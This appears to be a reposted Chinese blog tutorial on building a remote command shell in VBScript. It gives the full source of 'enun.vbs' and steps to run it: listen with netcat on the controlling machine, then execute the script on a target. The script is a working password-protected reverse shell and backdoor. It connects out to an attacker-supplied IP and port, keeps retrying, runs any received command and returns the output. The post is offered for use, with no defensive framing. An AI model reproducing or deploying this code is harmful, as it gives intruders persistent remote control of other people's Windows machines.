当前位置 博文首页 > VBScript 打造自己的远程CMDShell附使用教程

    VBScript 打造自己的远程CMDShell附使用教程

    作者:admin 时间:2021-02-05 06:05

    请先下载 mswinsck.ocx 与 VB6Controls.reg!

    使用方法:

    1,控制:nc.exe,执行:nc -l -v -p 1234;



    2,目标:cscript.exe enun.vbs IP Port;



    3,密码:enun。

    几点说明:
    1,退出 SHELL,请输入 “exit”,不要用 “Ctrl + C”,这样的话只能等目标重启或手动运行后门才能连接;
    2,Windows 7 等环境下普通标准用户也能使用,但是获取的权限相对有限。
    3,内部命令及管道使用如下图:



    相关下载:
          1,视频演示
          2,vb6controls

    enun.vbs 源码:

    复制代码 代码如下:

    '--------------------------------------------------------------------------
    ' Copyright (c) lxzzr. All rights reserved.
    ' ScriptName: enun.vbs
    ' Creation Date: 28/8/2012
    ' Last Modified: 28/8/2012
    ' Author: lxzzr, www.enun.net
    ' E-mail: lxzzr@21cn.com
    ' Usage: Cscript.exe //nologo enun.vbs IP Port
    '--------------------------------------------------------------------------
    On Error Resume Next
    Public SocketObj, ExecObj, ShellObj
    RemoteHost = Wscript.Arguments(0)
    RemotePort = Wscript.Arguments(1)

    Do
     Do While (SocketObj.State <> 7)
      WScript.Echo "Try Connect to " & RemoteHost & ":" & RemotePort & " ..."

      Set SocketObj = WScript.CreateObject("MSWinsock.Winsock")
      SocketObj.Protocol = 0
      SocketObj.RemoteHost = RemoteHost
      SocketObj.RemotePort = RemotePort
      SocketObj.Connect

      WScript.Sleep 3000
     Loop

     WScript.Echo "Connected to server."
     SocketObj.SendData SocketObj.LocalHostName & " is Connected, Enter Password: "
     Do While (SocketObj.BytesReceived = 0)
      WScript.Sleep 10
     Loop

     '密码验证
     SocketObj.GetData Authkey, vbString
     If Split(Authkey, chr(10), -1, 1)(0) = "enun" Then

      Set ShellObj = CreateObject("WScript.Shell")
      sRevData = " "
      SocketObj.SendData "Logon Success, Welcome!" & chr(13) & chr(10)

      '循环等待执行命令
      Do
       Set ExecObj = ShellObj.Exec(Split(sRevData, chr(10), -1, 1)(0))

       SocketObj.SendData ExecObj.StdOut.ReadAll
       SocketObj.SendData ExecObj.StdErr.ReadAll

       If sRevData <> "" Then
        SocketObj.SendData chr(10) & "[" & SocketObj.LocalHostName & "@" & "enun]#: "
       End If

       If Left(sRevData, 4) = "exit" Then
        SocketObj.Close
        Exit Do
       End If

       SocketObj.GetData sRevData, vbString
       WScript.Sleep 1000
      Loop
     Else
      LockoutBadCount = LockoutBadCount + 1
      SocketObj.SendData "Logon Failure: Unknown user name or bad password." & chr(13) & chr(10)
      WScript.Sleep 1000
     End If

     '账户策略
     If (LockoutBadCount > 3) Then
      SocketObj.SendData "The User Account is locked!" & chr(13) & chr(10)
      WScript.Sleep 1000
      SocketObj.Close
      LockoutBadCount = 0
      WScript.Sleep 600*1000
     End If
    Loop

    js